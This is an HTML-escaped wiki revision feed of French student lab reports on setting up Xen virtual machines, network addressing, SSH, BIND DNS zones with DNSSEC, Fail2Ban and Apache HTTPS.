&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12105</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12105"/>
		<updated>2026-02-07T17:35:59Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Configuration des zones */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
